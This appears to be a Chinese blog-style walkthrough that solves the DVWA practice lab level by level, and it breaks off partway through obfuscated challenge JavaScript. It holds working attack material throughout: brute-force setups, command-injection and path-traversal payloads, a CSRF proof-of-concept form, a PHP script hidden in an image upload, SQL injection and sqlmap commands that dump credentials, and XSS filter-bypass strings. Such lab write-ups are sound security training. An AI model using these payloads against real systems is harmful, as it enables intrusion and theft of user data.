dvwa靶场通关
Brute Force
low

我们随便输入用户名和密码 然后bp抓包

然后发到intruder中进行爆破

然后设置payload


这样就设置好了 然后我们点击attack开始攻击

爆破成功
medium
Medium步骤和low等级完全一样
我们查看源码后发现多了个 sleep函数 每次输入错误后得等2s
问题不大 我们依然可以爆破出来

high
这关加了token验证 我们需要找到每个密码对应的token值
所以我们先抓包 发到爆破器中 选择音叉攻击(pitchfork) 攻击点选择password 和 token处


第二个爆破点选择递归
第一个是password

找到grep-extract模块 添加


设置线程为1

然后开始爆破

这样就爆破成功了
Command Injection(命令执行)
RCE(Remote Code Execution),中文常译为远程代码执行漏洞。简单来说,它指的是攻击者能够通过网络,在远程的目标系统(例如服务器、计算机或嵌入式设备)上执行任意命令或代码的安全缺陷
。
RCE漏洞的核心危害在于它打破了设备的“本地执行权限壁垒”。攻击者通常无需获取目标的账号密码等常规权限,即可利用漏洞注入并执行恶意代码,从而直接控制目标设备
low

这关没有做任何的过滤 所以我们可以拼接命令
payload
127.0.0.1 && whoami

说一下&&等符号的使用
Windows系统:
|:只执行后面的语句。
||:如果前面的语句执行失败,则执行后面的语句。
&:两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
&&:如果前面的语句为假,则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。
Linux系统:
;:执行完前面的语句再执行后面的语句,当有一条命令执行失败时,不会影响其它语句的执行。
|(管道符):只执行后面的语句。
||(逻辑或):只有前面的语句执行出错时,执行后面的语句。
&(后台任务符):两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
&&(逻辑与):如果前面的语句为假则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。
``(命令替换):当一个命令被解析时,它首先会执行反引号之间的操作。例 echo whoami
medium
这关查看源代码 发现&& 被禁用了 我们可以用单个&

high

这关禁用了很多关键字
但我们可以用管道符绕过 注意看管道符|是加了空格的 我们不加空格就可以绕过了

CSRF
理解 XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)的区别对Web安全至关重要。
| 特征 | XSS (跨站脚本攻击) | CSRF (跨站请求伪造) |
|---|---|---|
| 攻击原理 | 向网站注入恶意脚本,在用户浏览器执行 | 伪造用户请求,利用用户的登录状态冒充用户操作 |
| 攻击目标 | 主要攻击用户,窃取其敏感信息或操控其会话 | 主要攻击网站,以用户身份执行非授权操作 |
| 依赖条件 | 网站存在输入点,未对用户输入充分过滤或转义 | 用户已登录目标网站且会话未失效 |
| 数据流向 | 恶意代码从攻击者到服务器,再由服务器返回给其他用户(通常涉及服务器) | 恶意请求直接从用户的浏览器发往目标服务器(不经过攻击者的服务器) |
| 攻击方式 | 通常需要用户访问已注入恶意代码的特定页面 | 诱使用户在已登录目标站点的情况下,访问恶意页面或点击恶意链接 |
| 防御核心 | 不信任用户输入:对输入过滤、输出编码、使用CSP | 验证请求来源与合法性:使用CSRF Token、校验Referer、设置SameSite Cookie |
low

我们提交新的密码 然后bp抓包


我们先把密码改成其他的 123456
我们打开网站后会发现 密码已经被更改

medium
Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名)
我们在自己的服务器上写一个脚本
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://dvwa:8898/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="12345" />
<input type="hidden" name="password_conf" value="12345" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
将名字改为自己的ip地址 这样解析的时候host就成为了本地的



密码被成功更改了
high
High级别的代码增加了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端请求。
我们获取当前网页的cookie值

PHPSESSID=v7a5dfajltt06vcictkclbnrs9; security=high;
然后抓包

File Inclusion(文件包含)
File Inclusion(文件包含),是指当服务器开启了allow_url_include选项时,通过一些PHP的特性函数(比如:include(),require(),include_once()和require_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
文件包含分类
本地文件包含:当被包含的文件在本地服务器时,就叫做本地文件包含
例:../../../../../etc/passwd
远程文件包含:当被包含的文件在第三方服务器时,就叫做远程文件包含
例:http://www.baidu.com 可以直接打开百度
low

我们可以更改这里的值 去访问服务器上的文件
也可以写成url 让他去访问互联网的资源


也可以尝试本地包含
medium
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
//将参数中的http:// https:// ../ ..\都替换成空
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
观察源码 把…/ 和 http:// 过滤了 我们可以双写区绕过
payload
htthttp://p://www.baidu.com
..././..././phpinfo.php


high
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
//文件名必须以file开始,或只能为include.php
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
我们可以用伪协议 file:// 访问本地的文件
payload
file://D:/phpstudy_pro/WWW/1.txt

我在www目录下写了一个txt
File Upload(文件上传)
low
这关没有任何的过滤
我们可以随便上传文件

也可以找到文件上传的地址
medium

这关只允许上传png jpeg等格式
我们先写一个脚本 然后改成 png格式 然后 bp抓包


high
这关检查png的头部 我们可以将 脚本写在图片中 使用 copy命令
copy /b 图片.png+脚本.php 图片2.png
然后我们上传
注意文件大小 不能太大 有限制

我们可以利用之前文件包含漏洞去访问这个文件
http://dvwa:8898/vulnerabilities/fi/?page=file://D:/phpstudy_pro/WWW/DVWA/hackable/uploads/
Vulnerability:CAPTCHA(不安全的验证码)
Insecure CAPTCHA(不安全的验证码),CAPTCHA全称为Completely Automated Public Turing Test to Tell Computers and Humans Apart,中文名字是全自动区分计算机和人类的图灵测试。关于这一项,其实是在验证流程出现了逻辑漏洞。
用户首先访问网页,触发页面的验证码的js模块,向谷歌服务器发起请求,谷歌服务器将验证码发给用户。用户输入验证码发送数据回去,这里发给的是访问网站的服务器,网站的服务器拿到验证码后,再去访问谷歌的服务器,谷歌的服务器会判断验证码是否正确,再将结果返回给网站服务器。
low
<?php
//第一阶段,验证身份,验证阶段为step
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
//隐藏验证码表单
$hide_form = true;
// Get input
//得到用户的新密码及确认新密码
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
//使用第三方进行身份验证
//recaptcha_check_answer($privkey,$remoteip, $challenge,$response)
参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性 :
$is_valid是布尔型的,表示校验是否有效,
$error是返回的错误代码。
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
//验证失败时
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
//验证通过时,匹配两次密码是否一致
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
//第二阶段,检查两次密码是否一致,并更新密码
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
查看源码
第一阶段:对用户的身份进行验证,step为1,验证成功后才能进行密码修改
第二阶段:step为2,两次输入的密码一致,可以进行修改
我们随便修改 然后抓包

我们放包

发现密码被更改了
medium
查看源码是多了一个验证机制
passed_capt,当passed_capt为true时就可以修改密码了
我们继续抓包 在后面补上这条就ok了

真难解析啊 卡的要怀疑人生了

high
验证过程已经不分步走了,都合在一个阶段里面了
服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数recaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。
bz这里有点懵 不是很会 跳过这关吧
SQL Injection(sql注入)
low
get方式传参
输入1’ 后发现 报错 字符型注入
1' order by 2 #
判断列数

输入3 时报错 说明此时 有 两列 接下来 联合注入 查数据库名
1' union select 1,database() #
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # //查表
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' # //查字段
1' union select group_concat(user),group_concat(password) from users # //查数据

medium
post方式传参 和上一关步骤不变
这关还用了转义 我们需要 hex 编码一下 将查列 用到的 ‘users’ 转化为0x27757365727327

最终payload
1 union select group_concat(user),group_concat(password) from users #

high
和low的没什么区别 在弹出来的页面里做注入
payload
1' union select group_concat(user),group_concat(password) from users #

SQL Injection(blind)
盲注 页面上不会显示注入信息
low
说一下思路
用substr()函数 和ascii 去判断 数据库,表,列 的名字
先用length()判断数据库长度


说明数据库的长度是4
payload
//二分法
1' and (select ascii(substr(database(),1,1)) = 111) #
可以发到bp中爆破 太麻烦 我们使用 sqlmap
需要登陆 我们前面抓到cookie信息派上用场
payload
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=65rgtvir8b6i0icvkn1u17pj72; security=low" --batch --technique=B --dbs
–technique=B 使用 布尔盲注 --dbs 查看数据库名

查表名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=65rgtvir8b6i0icvkn1u17pj72; security=low" --batch --technique=B -D "dvwa" --tables

查列名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=65rgtvir8b6i0icvkn1u17pj72; security=low" --batch --technique=B -D "dvwa" -T "users" --columns

提取数据
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=65rgtvir8b6i0icvkn1u17pj72; security=low" --batch --technique=B -D "dvwa" -T "users" -C "password" --dump

这样就出来了
medium
这关的提交方式变成了post方式 我们用bp抓包

我们复制页面信息 打开sqlmap的根目录 创建txt文件 在id=1处打* 让sqlmap去跑


python sqlmap.py -r 1.txt --batch --technique=B --dbs
-r 读取文件
剩下的步骤和上面一样了 我们给出最终的payload
python sqlmap.py -r 1.txt --batch --technique=B --dbs -D "dvwa" -T "users" -C "password" --dump

high
由于这里输入时一个url,响应是另一个URL
所以我们使用sqlmap时 添加参数 -second-url=

–data 我们post穿参的参数
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=65rgtvir8b6i0icvkn1u17pj72" --batch --technique=B --dbs

数据库名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=65rgtvir8b6i0icvkn1u17pj72" --batch --technique=B --dbs -D "dvwa" --tables

列
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=65rgtvir8b6i0icvkn1u17pj72" --batch --technique=B --dbs -D "dvwa" -T "users" --columns
数据
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=65rgtvir8b6i0icvkn1u17pj72" --batch --technique=B --dbs -D "dvwa" -T "users" -C "password" --dump
Weak Session IDs(脆弱会话管理)
用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识。用户拿到 session id 后就会保存到 cookies 上,之后只要拿着 cookies 再访问服务器,服务器就知道你是谁了。
但是 session id 过于简单就会容易被人伪造。根本都不需要知道用户的密码就能访问,用户服务器的内容了。
low
如果用户 SESSION 中的 last_session_id 不存在就设为 0,生成 cookie 时就在 cookies 上 dvwaSessionId + 1。直接点击Generate按钮,使用BP抓包

我们把cookie复制下来 清除一下网页的cookie
dvwaSession=2; security=low; PHPSESSID=65rgtvir8b6i0icvkn1u17pj72
再次打开的时候抓包 输入cookie 可以发现 不用登陆



medium
多了个时间戳
https://tool.lu/timestamp/

和low一样
high
这个值被md5加密了
解密就可以了 步骤和上面一样
XSS(DOM)
XSS(跨站脚本攻击)确实是 Web 安全领域一个非常重要且常见的漏洞。它允许攻击者将恶意脚本注入到网页中,并在用户浏览时执行,从而带来一系列危害。下面我会为你梳理 XSS 漏洞的几种主要类型、它们的区别,以及一些防御思路。
为了让你能快速把握全貌,先通过一个表格了解三种主要 XSS 类型的核心区别:
| 特征维度 | 反射型 XSS (Reflected XSS) | 存储型 XSS (Stored XSS) | DOM 型 XSS (DOM-based XSS) |
|---|---|---|---|
| 存储位置与持久性 | 不存储在服务器上,非持久性 | 恶意脚本永久存储在服务器(如数据库、文件)中,持久性强 | 恶意脚本不经过服务器处理,完全在客户端完成,非持久性 |
| 触发方式 | 依赖用户点击特制的恶意链接(常通过钓鱼邮件、短信诱导) | 用户访问已存储恶意脚本的页面(如评论区、留言板)时自动触发 | 用户访问包含漏洞的页面,前端 JS 操作 DOM 时触发 |
| 数据交互 | 恶意脚本通常通过 URL 参数传递,并由服务器“反射”到响应中 | 恶意脚本通过用户输入点(如表单)提交并存储在服务器端 | 恶意脚本通过前端的 JS 代码读取并操作 DOM 来执行,不经过服务器 |
| 影响范围 | 一次性,通常针对点击链接的特定用户 | 影响广泛,所有访问包含恶意内容页面的用户都可能受害 | 一次性,依赖用户访问特定的漏洞页面或携带恶意片段的 URL |
| 常见场景 | 搜索框、错误信息页面、登录框等将输入直接返回的功能点 | 论坛评论、用户留言、博客日志、可存储用户输入并展示的区域 | 大量依赖 前端 JavaScript 动态生成内容 的页面或单页面应用 (SPA) |
🛡️ 防御 XSS 的通用思路
无论面对哪种类型的 XSS,核心原则都是:永远不要信任用户输入。以下是一些关键的防御措施:
- 输入验证与过滤:对所有用户输入进行严格的校验,采用白名单原则只允许安全的字符和格式,或使用黑名单过滤掉明确的危险字符和标签(如
<script>,onerror等)。对于富文本内容,可使用专业的库(如 DOMPurify)进行净化。 - 输出编码:在将数据输出到不同上下文(HTML、JavaScript、URL、CSS)时,进行相应的转义或编码。例如,输出到 HTML 时,将
<转义为<,将>转义为>。 - 使用安全的 API:在前端操作 DOM 时,优先使用
textContent而非innerHTML,以避免意外地将字符串解析为 HTML。避免使用eval(),setTimeout(string),setInterval(string)等可以执行字符串形式代码的危险方法。 - 内容安全策略 (CSP):通过配置 CSP HTTP 头,可以有效地告诉浏览器只允许加载指定来源的脚本,大幅增加攻击者注入恶意脚本的难度。例如,
Content-Security-Policy: script-src 'self'可以限制只加载同源脚本。 - 设置 HttpOnly Cookie:为敏感的 Cookie 标记
HttpOnly属性,这样可以防止其被 JavaScript 读取,从而降低会话被盗用的风险。
low

我们直接注入

payload
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English<script>alert(1)</script>
medium

查看源码 把这两个标签给闭合掉
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English</option></select><img src=x onerror=alert(1)>

哦对了 这关还把 < script>过滤掉了 我们用其他的事件触发
high
这里设置了白名单,如果default的值不为”French”、”English”、”German”、”Spanish”的话就重置URL为:?default=English ,这里只是对 default 的变量进行了过滤。
可以考虑在English后面使用&或者#
payload
English&<script>alert(1)</script>

XSS(Reflected)
low

直接写入payload
<script>alert(1)</script>
medium
过滤了< script>标签 我们试试双写能否绕过
<scr<script>ipt>alert(1)</script>

可以绕过 我们再试试大小写 绕过
因为html在解析时是不看大小写的
<scRipt>alert(1)</scRipt>

也可以

用其他的事件也可以触发
<img src=x onerror=alert(1)>
high
preg_replace() 函数执行一个正则表达式的搜索和替换,“*” 代表一个或多个任意字符,“i” 代表不区分大小写。也就是说 “< script >” 标签在这里被完全过滤了,但是我们可以通过其他的标签例如 img、body 等标签的事件或者iframe 等标签的 src 注入 JS 攻击脚本。
payload
<img src=x onerror=alert(1)>
就是这个

XSS(Stored)
low

payload
<button onclick=alert(1)>这是一个小按钮啊</button>
存储型xss就是将js的恶意代码存储到数据库里 其他用户再点击了恶意代码之后产生的

medium

将上面的payload写进去发现按钮没了

同时也过滤了script标签 我们在name处注入 调整下最大字符限制

试一试双写
payload
<scri<script>pt>alert(1)</script>
发现可以了

high
用事件型

同样记得修改字符长度
payload
<img src=x onerror=alert(1)>
CSP(Content Security Policy)内容安全策略
开发者在开发过程中设置了一个类似于白名单的策略,要信任某个页面,哪些外部资源可以执行,哪些不可以,这可以从根本上防御XSS,如果CSP配置的好,可以从根本上杜绝XSS
low
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;";
通过源码可以知道
下面的资源是可以访问的
https://pastebin.com
hastebin.com
example.com
code.jquery.com
https://ssl.google-analytics.com
我们进入第一个网站

写一个js代码



把网站复制到dvwa中

medium
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
//unsafe-inline:当csp有Unsafe-inline时, 并且受限于csp无法直接引入外部js, 不过当frame-src为self, 或者能引入当前域的资源的时候, 即有一定可能能够引入外部js。
nonce-source,仅允许特定的内联脚本块。如源码中:nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='
payload
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

high
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
观察源码
src指向的source/jsonp.php?callback=solveNum未做任何XSS的过滤,因此可以构造payload:


JavaScript
JavaScript 攻击是一类通过利用 JavaScript 代码执行漏洞或滥用其特性来进行的网络攻击。这些攻击可以用来窃取敏感信息、劫持用户会话、执行恶意操作等。
low
观察源码 token 值一直是与 ChangeMe 关联的
所以需要手动重新调用下 token 来更新(输入 success 后)

运行完之后再次提交 “success”,这次提醒我们注入成功了。

medium
还是一样的,直接提交不行

这里是倒过来的
我们试着重新拼写
token=XXsseccusXX&phrase=success&send=Submit

high
至少有一个 JavaScript 混淆了,你需要逐步检查代码,找出什么是有用的,什么是无用的,什么是完成任务所需的。
源码
var a = ['fromCharCode', 'toString', 'replace', 'BeJ', '\x5cw+', 'Lyg', 'SuR', '(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\x201E=[\x271e\x27,\x2727\x27,\x271G\x27,\x272R\x27];q\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\x204C.Q.2U.1I(1x)===\x27[1n\x201z]\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\x201c\x201x===\x271n\x27&&1x.1w&&1x.1w.1J===Z}}q\x202m=w(1X,x){A\x20w(s){A\x20O\x20N(x,1d).S(s)[1X]()}};q\x202a=w(x){q\x20P=2m(\x271e\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\x20O\x20N(x)};P.S=w(s){A\x20P.1T().S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2m(T,x)}A\x20P};q\x202P=w(P,x){q\x201S=2O(\x222N(\x271S\x27)\x22);q\x201Y=2O(\x222N(\x271w\x27).1Y\x22);q\x202n=x?\x271H\x27:\x271q\x27;q\x202z=w(s){p(1c\x20s===\x272p\x27){A\x201S.2x(2n).S(s,\x274S\x27).1G(\x271e\x27)}z{p(s===2q||s===2T){1u\x20O\x201t(1l)}z\x20p(s.1J===Z){s=O\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\x201S.2x(2n).S(O\x201Y(s)).1G(\x271e\x27)}z{A\x20P(s)}};A\x202z};q\x202k=w(1X,x){A\x20w(G,s){A\x20O\x201P(G,x,1d).S(s)[1X]()}};q\x202f=w(x){q\x20P=2k(\x271e\x27,x);P.1T=w(G){A\x20O\x201P(G,x)};P.S=w(G,s){A\x20P.1T(G).S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2k(T,x)}A\x20P};w\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\x202h,T=1c\x20s;p(T!==\x272p\x27){p(T===\x271n\x27){p(s===2q){1u\x20O\x201t(1l)}z\x20p(1y&&s.1J===Z){s=O\x202r(s)}z\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}2h=1d}q\x20r,M=0,i,W=s.W,l=k.l;4t(M<W){p(k.1L){k.1L=1O;l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}p(2h){1g(i=k.1A;M<W&&i<1k;++M){l[i>>2]|=s[M]<<U[i++&3]}}z{1g(i=k.1A;M<W&&i<1k;++M){r=s.1Q(M);p(r<R){l[i>>2]|=r<<U[i++&3]}z\x20p(r<2v){l[i>>2]|=(2t|(r>>6))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z\x20p(r<2A||r>=2E){l[i>>2]|=(2D|(r>>12))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z{r=2C+(((r&23)<<10)|(s.1Q(++M)&23));l[i>>2]|=(2X|(r>>18))<<U[i++&3];l[i>>2]|=(R|((r>>12)&V))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}}}k.2u=i;k.L+=i-k.1A;p(i>=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&